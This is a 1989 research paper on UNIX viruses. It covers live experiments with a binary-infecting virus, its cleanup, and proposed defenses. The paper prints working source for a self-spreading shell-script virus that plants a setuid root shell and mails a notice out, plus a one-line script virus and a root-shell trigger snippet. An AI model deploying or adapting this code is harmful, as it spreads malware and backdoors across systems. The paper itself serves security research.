# *Experience with Viruses on UNIX Systems*

Tom Duff AT&T Bell Laboratories

---

ABSTRACT: Executable files in the Ninth Edition of the UNIX system contain small amounts of unused space, allowing small code sequences to be added to them without noticeably affecting their functionality. A program fragment that looks for binaries and introduces copies of itself into their slack space will transitively spread like a virus. It could, like the Trojan Horse, harbor Greeks set to attack the system when run with enough privilege.

I wrote such a program (without the Greeks) and ran several informal experiments to test its characteristics. In one experiment, the code was planted on one of Bell Labs' computers and spread in a few days through our Datakit network to about forty machines. The virus escaped during this test onto a machine running an experimental secure UNIX system, with interesting (and frustrating for the system's developers) consequences.

To fit in the small amount of space available viruses of this sort must be tiny, and consequently timid. There are ways to write similar viruses that are not space-constrained and can therefore spread more aggressively and harbor better-armed Greeks. As an

This paper is an expanded and revised version of "Viral Attacks On UNIX System Security," presented at the January 1989 USENIX meeting.

example, I exhibit a frighteningly virulent portable virus that inhabits shell scripts.

Viruses rely on users and system administrators being insufficiently vigilant to prevent them from infiltrating systems. I outline some steps that people ought to take to make infiltration less likely.

Numerous recent papers have suggested modifications to the UNIX system kernel to interdict viral attacks. The most plausible of these are based on the notion of "discretionary access controls." These proposals cannot usually be made to work, either because they make unacceptable changes in the "look and feel" of the UNIX system's environment or they entail placing trust in code that is inherently untrustworthy. In reply to these proposals, I suggest a small change to the file protection scheme that may be able to interdict many viral attacks without serious effect on the system's functioning and habitability.

---

## *1. Introduction*

UNIX system security has been a subject of intense interest for many years. The *ne plus ultra* of system breaking is to have the super-user execute arbitrary code for the miscreant. The most common way to do this is to find a root-owned set-userid program that calls the shell and exploit its well-known loopholes to get it to execute a chosen command file. Reeds [1988] describes several variations on this theme.

Other interesting possibilities are to convince someone who has write permission on a root-owned set-userid program to modify it to execute chosen code, or to get someone running as super-user to run code provided by the miscreant. No responsible individual would do such a thing deliberately. Thompson [1984]

describes an extremely clever surreptitious way of doing the former; Grampp & Morris [1984] discuss ways of getting the unwary super-user to do the latter.

The likelihood of the super-user inadvertently executing miscreant-supplied code is a function of the number of files that contain copies of the code. A program could be written that would try to spread itself throughout the file system by searching for executable files with write permission and patching copies of itself into them. It would have to be careful to preserve the functionality of the modified programs, to avoid detection. Eventually it might so thoroughly infect executable files that it would be unlikely for the super-user never to execute it.

This notion is implicit in Thompson's attack, and has been in the computing folklore since the 1950's. It has been described in the computing literature by Cohen [1987], although at least two science fiction writers (David Gerrold, *When H.A.R.L.I.E. Was One* and John Brunner, *Shockwave Rider*) could reasonably claim priority.

## 2. *A Virus For UNIX System Binaries*

Ninth edition VAX UNIX system files containing executable programs start with a header of the following form:

```
struct {
    int magic;       /* magic number */
    unsigned tsize;  /* size of text segment */
    unsigned dsize;  /* size of data segment */
    unsigned bsize;  /* size of bss segment */
    unsigned ssize;  /* size of symbol table */
    unsigned entry;  /* entry point address */
    unsigned trsize; /* size of text relocation */
    unsigned drsize; /* size of data relocation */
};
```

If the magic number is 413 in octal, the file is organized to make it possible to page the text and data segments out of the executable file. Thus the first byte of the text segment is stored in the file at a page boundary, and the length of the text segment is a multiple of

the page size, which on our system is 1024 bytes. Since a program's text will only rarely be a multiple of 1024 bytes long, the text segment is padded with zeros to fill its last page.

With this in mind, I wrote a program called `inf` (for *infect*) that examines each file in the current directory. Whenever `inf` finds a writable 413 binary with enough zeros at the end of its text segment, it copies itself there, patches the copy's last instruction to jump to the binary's first instruction, and patches the binary's entry point address to point at the inserted code. `inf` is only 331 bytes long. If the size of the slack space in a 413 binary were distributed uniformly, you would expect `inf` to have about two chances in three of finding enough space to copy itself into a given binary. By measurement, 319 of 509 or 63 percent of the eligible files in my search path have enough space.

Once a system is seeded with a few copies of the virus, and with a little luck, someone will sooner or later execute an infected binary either from a different directory or from a userid with different permissions, spreading the infection even farther. Our UNIX systems are connected by a network file system [Weinberger 1984], so there is a good chance of the infection spreading to files on other machines. We also have an automatic software distribution system [Koenig 1984], intended to keep system software up-to-date on all our UNIX systems. Even wider distribution is possible with its aid.

## *3. Spreading The Virus*

I tried a sequence of increasingly aggressive experiments to try to gauge the virus's virulence. Many users leave general write permission on their private *bin* directories. So, on May 22, 1987, I copied `inf` into */usr/*/bin/a.out* on Arend, one of Center 1127's VAX 11/750s. My hope was that eventually someone would type `a.out` when no such file existed in their working directory, and my program would quietly run instead.

Unsurprisingly, this hope proved fruitless. By July 11 `inf` had spread not at all, except amongst my own files, where it had gotten loose accidentally during testing. Only one of Arend's regular users other than myself got a copy of the program, and that was

never executed. It should be noted that while nobody got caught, neither did any of the 14 people whose directories were seeded notice that anything was awry.

With the failure of this extremely timid approach, on July 11 I infected a copy of */bin/echo* and left the result on Arend in */usr/games/echo* and */usr/jerq/bin/echo* – two directories on which I had write permission, and that I had observed several users to search before */bin*. I supposed that one of these users would eventually run echo, infect a few files and we'd be off to the races. This happened three times (on July 21, July 30 and August 7), infecting four more files. By September 10, the infection had spread no farther.

On September 10, I attacked Coma, a VAX 8550, far and away the most-used machine in our center. I looked in */usr/*/.profile* to see what directories someone searched before */bin*, and placed infected copies of echo in the 48 such directories that I could write. The infection spread that day to 11 more files on Coma, and a further 25 files on the following day, including a newly compiled version of the *wc*(1) command. The infected */bin/wc* was distributed to 45 other systems by the automatic software distribution system [Koenig 1984]. The experiment was stopped on September 18, when there were 466 infected files on the 46 systems.

Only four of the 48 users who were seeded noticed that their directories had been tampered with and asked what was going on. All seemed satisfied with explanations of the form "yes, I put it there" or "I'll tell you later." In any case, none of them felt a need to remove the file.

One machine infected by the virus was Giacobini, a machine being used by Doug McIlroy and Jim Reeds to develop a multilevel secure version of the Ninth Edition UNIX system that retains as much of the flavor of standard insecure UNIX systems as possible. Probably they accepted the automatic distribution of the infected *wc* command. They did not, however, accept shipment of the "disinfect" program that put an end to the experiment, so `inf` lived on and continued to spread on their machine. On October 14 they turned on their security features for the first time and soon thereafter discovered programs dumping core because of security violations that should not have occurred. Here is Jim

Reeds' account of the virus's effect on their system and how they eventually excised it:

> From reeds Fri Oct 16 11:20 EDT 1987
>
> Not sure how the virus got on giaco. Maybe via asd, maybe placed as a gentle prank, possibly a long dormant spore. Maybe even it was there all along, infesting up everything, and the new security stuff made it visible. Dozens of files were infected: *ar*, *as*, *bc*, ... most of the files in the public bins, my private bin directory, and a couple in */lib*. When I cottoned on to what was happening I went on a disinfect frenzy, muddying up modification dates that would have helped in figuring out where it came from. It got a private *su* command of mine, so it started spreading with root privs in */etc*. After a while every command I typed took a couple of seconds longer than it should have. *df*, for instance, takes a fraction of a second per line, now seemed to take several seconds per line. I thought it was the security stuff bogging the system down. But what really vexed me was this: whenever I tried to run my *su* command when I was in */etc* the command died after a pause. Hours later, & kernel `printfs` galore, it transpired that it always died because it tried to write on file descriptor 5 which was attached to */etc/login*, which earlier in the day I had marked as "trusted," which means absolutely nobody may write on it. I proceeded on the theory that I had a kernel bug (not new to me these last weeks, mind you) that gave such a wrong file descriptor. Finally I had narrowed the "bug" down to happening when this program
>
> ```
> .word   0
> chmk    $1
> ```
>
> was assembled and linked 413 and executed out of */etc*. Then I began to smell a rat. Comparison with binaries on other machines, discovery of 'disinfect,' disassembly, blah blah blah. Because I was doing heavy (for me) kernel hacking I was sure kernel bugs explained all anomalous behavior.
>
> In all it took 1.5 working nights to figure it out. During the last 1/2 day or so performance took a nose dive: a make in the background and giaco was like alice on a busy day. I guess this recent performance hit argues against the virus having been active for a long time.

Stopping the experiment proved to be much more difficult than starting it. I wrote a program to walk the directory tree

inspecting each file, determining whether it was an infected binary or not and curing it by patching the entry point address back to the value it ought to have had. This has the serendipitous effect of rendering the cured victim immune to re-infection, since the space that `inf` would copy itself into was already occupied by a copy of its corpse.

Running the cure with appropriate permissions on every infected machine was easy. Accessing all files on a machine requires super-user access. Our automatic software distribution system [Koenig 1984] allows designated users (myself included) to run arbitrary code as the super-user on any destination machine.

Unfortunately, our file systems are littered with directories that it is unwise to search and files that should not be read. For example, Weinberger's network file system renders the directory tree un-treelike, since each machine's file system has a name for the root directory of every other machine. Also, special files ought not to be read, since they may behave in unforeseen ways. The worst problem was a bug in the */proc* file system (see Killian 1984) that caused the machine to crash with probability 1/3 whenever */proc/2* was read. When I shipped the program off to our fifty machines, sixteen or so of them crashed a few minutes later, including the one I was logged in at. When the machine rebooted, of course I logged in and ran it again, killing another sixteen machines. After the third try, I decided that the crashes must be my fault and went looking for the problem.

With these and other similar troubles it took about two weeks to cleanse our machines. Even so, there are copies of `inf` on our write-once optical disk backup system that cannot be erased. The backups are believed responsible for an otherwise unexplainable `inf` outbreak almost a year after the experiments ceased.

## *4. More Vigorous Viruses*

`inf` is only mildly virulent, and its only insalubrious effect is the slight system degradation that its execution causes. This is a consequence of a desire to keep the size of the program down to maximize how many binaries it would fit in. Placing a Greek in this Trojan Horse would be easy enough. For example, in a few

instructions we could look to see if the program's argument count is zero, and if so execute */bin/sh*. This test is unlikely to succeed by accident. It's impossible for the shell to execute a command with a zero argument count since, by convention, the first argument of any command is the command name. But the following simple program has the desired effect:

```
main() {
        execl("infected_a.out", (char *)0);
}
```

If the infected program is set-userid and owned by root, this will give the miscreant a super-user shell.

`inf` can add noticeably to the execution time of infected programs, especially in large directories. This could be fixed by having the virus fork first, with one half propagating itself and the other half executing the code of the virus's host.

The virus's small size seriously restricts its actions. A virus that looked at more of the file system could certainly spread itself faster, but it's hard to imagine fitting such a program into little enough space that it would find places to propagate itself. The size limitation can be overcome by expanding the victim's data segment to hold the virus. After executing, the virus would have to clean up after itself, setting the program break to the value expected by the victim, and clearing out the section of the expanded data segment that the host was expecting to be part of the all-zero bss segment. After zeroing itself, the virus would have to jump to the first instruction of its host. This seems tricky, but it should be doable by copying the cleanup code into the stack.

In conversation, Fred Cohen has suggested using the output of the Berkeley *lastcomm* command (unavailable on our machines) to pick infection targets, causing the virus to tend to spread immediately to commonly executed commands, considerably enhancing its virulence. Apparently the prodigious rates of infection reported in Cohen [1987] are due mainly to this technique.

`inf` is also restricted by being written in VAX machine language. It therefore cannot spread to machines with non-VAX CPUs or even to machines that run incompatible variants of the UNIX system. A virus to infect Bourne shell scripts would be insensitive to the kind of cpu it ran on, and could be made

portable across different versions of the UNIX system with a little care. Here is the text of a virus called `inf.sh` that should be portable to most contemporary versions of the UNIX system:

```
#!/bin/sh
( for i in * /bin/* /usr/bin/* /u*/*/bin/*
  do  if  sed 1q $i | grep '^#![     ]*/bin/sh'
      then    if    grep '^# mark$' $i
          then    :
          else    trap "rm -f /tmp/x$$" 0 1 2 13 15
              sed 1q $i >/tmp/x$$
              sed '1d
                  /^# mark$/q' $0 >>/tmp/x$$
              sed 1d $i >>/tmp/x$$
              cp /tmp/x$$ $i
          fi
      fi
  done
  if  ls -l /tmp/x$$ | grep root
  then    rm /tmp/gift
      cp /bin/sh /tmp/gift
      chmod 4777 /tmp/gift
      echo gift | mail td@research.att.com
  fi
  rm /tmp/x$$
) >/dev/null 2>/dev/null &
# mark
```

`inf.sh` examines files that start with `#!/bin/sh` in several likely directories and copies itself into each one that doesn't appear already to be infected. `inf.sh` contains a Greek that places a set user-id shell in */tmp/gift* and mails me notification whenever the virus appears to be running as super-user.

However sorely you are tempted, *do not* run this code. It got loose on my machine while being debugged for inclusion in this paper. Within an hour it had infected about 140 files, and several copies were energetically seeking other files to infect, running the machine's load average, normally between .05 and 1.25, up to about 17. I had to stop the machine in the middle of a work day and spend three hours scouring the disks, earning the ire of ten or so co-workers. I feel extremely fortunate that it did not escape onto the Datakit network.

## 5. *Countermeasures*

Spreading a virus has several requirements. First, the virus must have a way of making viable copies of itself. Second, the miscreant must have a way to place seed copies of the virus where they will be executed. Third, the infection must be hard for system administrators to spot. All these requirements are relative. A particularly virulent virus might be easy to spot and yet be successful because it can spread faster than anyone might notice.

There are limits to the measures UNIX system administrators and users can take to limit the danger of viral attack. Any system in which users have the abilities to write programs and to share them with others is vulnerable. The only panaceas involve eliminating one or the other characteristic. For particular applications it is often plausible to create turnkey systems that are not programmable, or in which the allowed flow of data from file to file is carefully prescribed in advance. Virus-proofing UNIX systems is not in general possible. In particular, it is hard to see how `inf.sh` could be guarded against without emasculating the UNIX system. It is constructed entirely out of standard piece-parts, and its spread depends only on some users being able to execute files that other users can write.

Nevertheless, there are measures that UNIX system administrators and users ought to take to enhance their resistance to infection.

- Do not put generally writable directories in your shell search path. These are prime places for a miscreant to seed.
- Beware of Greeks bearing gifts. Imported software should carefully be examined before being loaded onto a sensitive machine. Ideally you will have all source code available to read and understand before compiling it with a trusted compiler. In the absence of source code it is also helpful to have a controlled environment in which to exercise the code before letting it loose on trusted machines. The ideal test environment would be a machine that can be disconnected from all communications equipment and whose storage media (disks, tapes, Williams tubes, etc.) can be reformatted and reloaded with old data if any infection appears. Ideal

conditions often are not obtained. You should try your best to approximate them as closely as possible with the resources available to you.

- Watch for changing binaries. System administrators should regularly check that all files critical to the daily operation of the system do not change unexpectedly. The most complete way to do this would be to maintain copies of all critical files on read-only media and periodically compare them with the active copies. Most systems will not have such media available. An adequate compromise is to maintain a list of checksums and inode change dates (printed by *ls -lc*) of the critical files. The inode change date is updated whenever the file is written and is difficult to set back without either patching the disk or resetting the system clock. The checksum function should be hard to invert, to thwart viruses that try to modify themselves in a way that preserves the checksum. Hard-to-invert functions are called one-way functions in the cryptographic literature. Encrypting the file using DES in cipher-block chaining mode and using the last block of ciphertext as the checksum is probably a good one-way checksum.
- Our automatic software distribution system [Koenig 1984] is a wonderful tool for keeping software up-to-date amongst a collection of machines. It is also a powerful vector for transmitting viruses. The wide and rapid spread of `inf` can largely be attributed to its inadvertently having been distributed to all our machines hidden in a copy of the *wc* command. People who distribute software should be careful that they only ship newly compiled, clean copies of their code. Versions that have been used for testing may well have been infected.
- If you must use software taken from public places like *netnews* or other bulletin-board services, Bill Cheswick suggests that you not run it for six weeks or so after receiving it. Someone else is bound to discover any virus or other evil lurking within and inform the world in a loud voice.

## 6. *System Enhancements to Interdict Viruses*

There are several proposals in the literature to stop the spread of viruses by what are called 'discretionary access controls.' This buzzword describes a system organization in which all a program's accesses to files are authorized by the user running the program. Lai & Gray [1988] point out that users cannot reasonably be expected to explicitly authorize all file accesses, or they would continually be interrupted by innumerable queries from the kernel. They suggest dividing binaries into two camps, trusted and untrusted. The word 'trust' here has a different meaning than in McIlroy and Reeds's secure UNIX system, discussed above. Trusted binaries, like the shell and the text editor, are allowed access to any file, subject to the normal UNIX system permission scheme. When an untrusted binary is executed by a trusted one, it may access only files mentioned on its command line. If the untrusted binary executes any binary, the new program is invariably treated as untrusted (even if it has its trusted bit set) and inherits the set of accessible files from its parent. (Lai and Gray make other provisions to allow suites of untrusted programs to create temporary files and use them for mutual communication, but those provisions are irrelevant to our discussion.)

Among the underlying assumptions of Lai and Gray's scheme are that users do not ordinarily write programs that would require trusted status, and that the system programs that require trusted status (they name 32 binaries in 4.3BSD that require trust) really are incorruptible. Neither assumption is justifiable. Perhaps there is a class of casual programmers that will be satisfied writing programs that can only access files named on the command line, but it is hard to imagine software of any complexity that does not include editing or data management facilities that are ruled out by this scheme. A user cannot even, as is common, write a long-running program that sends mail to notify the user when it finishes, because */bin/mail* is a system program that requires trust, and when executed from an untrusted program it will not have it.

The assumption of incorruptibility of trusted programs is equally unjustified. The `inf.sh` virus or a slight variant of it

would spread uncontrolled under Lai and Gray's scheme, because it will be executed by a shell running in trusted mode.

Lai and Gray's scheme does not go far enough, as it does not effectively interdict the behavior that it attacks. Simultaneously it goes too far, altering the UNIX environment beyond recognition and rendering it unusably clumsy. The only possible conclusion is that they are going in the wrong direction.

I see no way of throwing out Lai and Gray's bathwater and keeping the baby. Any scheme that requires that the shell be trusted entails crippling the shell. Users that are unsatisfied with the crippled shell are prevented from replacing it, since the replacement cannot have the required trust. This is an unacceptable violation of the precept that the entire user-level environment be replaceable on a per-user basis [Ritchie & Thompson 1974].

## 7. *Modifying UNIX system file protection to interdict viruses*

Having attacked one suggested virus defense, it is with some trepidation that I suggest another. The UNIX system uses a file's execute permission bits to decide whether the `exec` system call ought to succeed when presented with a file of the correct format. The execute bits are normally set by the linkage editor if its output has no unresolved external references. This amounts to certification by the linkage editor that, as far as it is concerned, the binary is safe to execute. The rest of the system treats the execute bits as specifying permission rather than certification. The bits are settable at will by the file's owner, and are not updated when the file's content changes. As permission bits they are nearly useless; almost always executable files are also readable (in my search path there are 670 executable files, only one of which (*/usr/bin/spitbol*) is not also readable) and so can be run by setting the execute bits of a copy.

I propose changing the meaning of the execute permission bits so that they act as a certificate of executability, rather than permission. Under this scheme, when you see a file with its execute bits set, you should think "some authority has carefully examined this file and has certified that it's ok for me to execute it." The

implementation will involve a few small changes to the kernel. First, changing a file will cause its execute bits to be turned off, as any previous certification is now invalid. The effect of this will be to stop a virus from its transitive self-propagation. In addition, users and system administrators will be alerted that something is awry when they notice that formerly-executable commands no longer are. Second, the group and others execute bits may only be set by the super-user, who is presumably an appropriate certifying authority, and in any case has more expedient means of causing mischief than malicious execute-bit setting. Logging any changes to executable files would aid in tracking down any viruses that try to attack the system. The `exec` system call's treatment of the execute bits will be unchanged – it will still refuse to load a file whose execute bits are not set correctly. While `exec`'s action is unchanged, the user's mental model should be different. Refusal to execute should be viewed as a certification failure rather than a denial of permission.

In many open environments, the requirement that setting the group and other execute bits be restricted to the super-user will be regarded as too oppressive for the increment of security that it provides. In such cases, the *chmod* command can easily be made root-owned and set-userid and modified to enforce any appropriate policy.

As pointed out above, this cannot be a panacea. It cannot guard against infection of programmable systems like *awk* that do not use the `exec` system call to run programs, and it cannot guard against viruses that attack the *chmod* command and rewrite the log files. The best it can do is up the ante, eliminating a wide range of attacks and making some others easier to detect.

## 8. Discussion

Any programmable system that allows general sharing of information is susceptible to viral attack. This includes not only binary images and the UNIX shell, but *awk* scripts, *make* files, text formatters such as *troff*, macro processors like *M4*, programmable text editors like *emacs*, spreadsheets, data-base managers and any program that has a shell escape.

As we have seen, viruses are remarkably easy to write. They are much harder to eradicate, and nearly impossible to prevent. As a further example, here is a one-line virus to infect shell scripts, here split onto multiple lines to fit the page:

```
tail -1 $0 |
tee -a 'grep -l ^#!/bin/sh \'{ls; grep -l vIrUs *} |
sort | uniq -u\'' >/dev/null
```

The code in the inner pair of backquotes outputs the names of all files in the current directory not containing the string `vIrUs` (that is, roughly all files not already infected). The output of

```
{ls; grep -l vIrUs *} | sort
```

is a list containing the names of infected files twice each, and uninfected files once. The output of *uniq -u* is the lines of its input that occur exactly once – that is, the names of the uninfected files. The *grep* in the outer backquotes outputs the names of those uninfected files that are */bin/sh* scripts.

```
tail -1 $0 | tee -a
```

appends the last line of the command being run (that is, the virus) onto each of the files chosen for infection.

There is little theoretical knowledge to guide practical work. Cohen [1987] describes a formal model in which viruses are allowed to modify the contents of the tape of a Turing machine. His viruses need only succeed sometimes, and are allowed to alter the functioning of the programs they infect. He claims that according to his model there is a virus that is a nine-character UNIX shell script, but he refuses, as a matter of policy, to quote source code for any virus, even this one. In conversation he has admitted that nine characters doesn't include blanks. In that case, according to his model

```
cp $0 .
```

is a virus and by his reckoning it is five characters long. It only works sometimes – it must be executed from a directory where a file with the same name as the command may be written, and it alters the operation of the victim in the most drastic way, erasing

it. A more reasonable model would not classify such trivia as a virus, while admitting the example in the preceding paragraph.

Adleman proposes an abstract model in which a virus is a recursive function on the Gödel numbers of programs. Unsurprisingly, all the interesting questions (Is a function a virus? Is a program infected? Can a program be disinfected? etc.) in this model are undecidable.

Adleman's model fails to capture the adversary nature of the situation. In reality, the bad guy must solve equally undecidable questions, like "Is this program infectible without detection by my adversary's methods?" The undecidability of questions for both adversaries means that each side is forced to use heuristic methods, elevating the proceedings to a battle of wits, with each side searching for methods that will outwit their adversaries.

Perhaps the best we can expect from a theory is results that guarantee that the attacker's job is harder than the defender's. For example, fast defense heuristics that can only be overcome by intractably slow attacks would give the defender a winning advantage. Unfortunately, lower-bound results of this sort are among the most difficult theoretical problems.

Practical research in computer security involves problems alien to most technical endeavors. We cannot reasonably conduct experiments except on live systems, thereby risking the wrath of colleagues by denying them access to their machines or worse, destroying their data with a buggy virus. I was lucky in the work reported here that the only loss was a few hours of some mercifully tolerant co-workers' time and a couple of shell scripts mangled by a buggy `inf.sh` that were easily retrieved from backups.

My experiments are tantalizingly incomplete. I had hoped to track an infestation for long enough to see a clear pattern of exponential growth to saturation, but my victims were understandably unwilling to continue the experiment. My proposed kernel changes will not likely ever be tried because of the inconvenience they might impose on my co-workers.

## *Acknowledgements*

Some of the ideas described here arose in conversations with Norman Wilson, Fred Grampp, Doug McIlroy and Fred Cohen. Ron Gomes helped make `inf.sh` more portable.

## *References*

Len Adleman, An Abstract Theory of Computer Viruses (abstract), presented at CRYPTO '88.

Fred Cohen, Computer Viruses Theory and Experiments, *Computers & Security 6* (1987) 22-35.

F. T. Grampp and R. H. Morris, UNIX Operating System Security, *AT&T Bell Laboratories Technical Journal*, Vol. 63 No. 8 Part 2, October 1984, pages 1649-1672.

T. J. Killian, Processes as Files, *USENIX Association Summer Conference*, Salt Lake City, Utah, 1984.

Andrew R. Koenig, Automatic Software Distribution, *USENIX Association Summer Conference*, Salt Lake City, Utah, 1984.

Nick Lai and Terence E. Gray, Strengthening Discretionary Access Controls to Inhibit Trojan Horses and Computer Viruses, *USENIX Association Summer Conference*, 1988.

Jim Reeds, /bin/sh: the biggest UNIX security loophole, AT&T Bell Laboratories Technical Memorandum 11217-840302-04TM, 1988.

D. M. Ritchie and K. Thompson, The UNIX Time-Sharing System, *Comm. ACM*, Vol. 17, No. 7 (July 1974), pages 365-375.

Ken Thompson, Reflections on Trusting Trust, *Comm. ACM* Vol. 27, No. 8 (August 1984), pages 761-763 (1983 Turing Award lecture).

Peter J. Weinberger, The Version 8 Network File System (abstract), *USENIX Association Summer Conference*, Salt Lake City, Utah, 1984.

[*submitted March 3, 1989; revised May 8, 1989; accepted May 10, 1989*]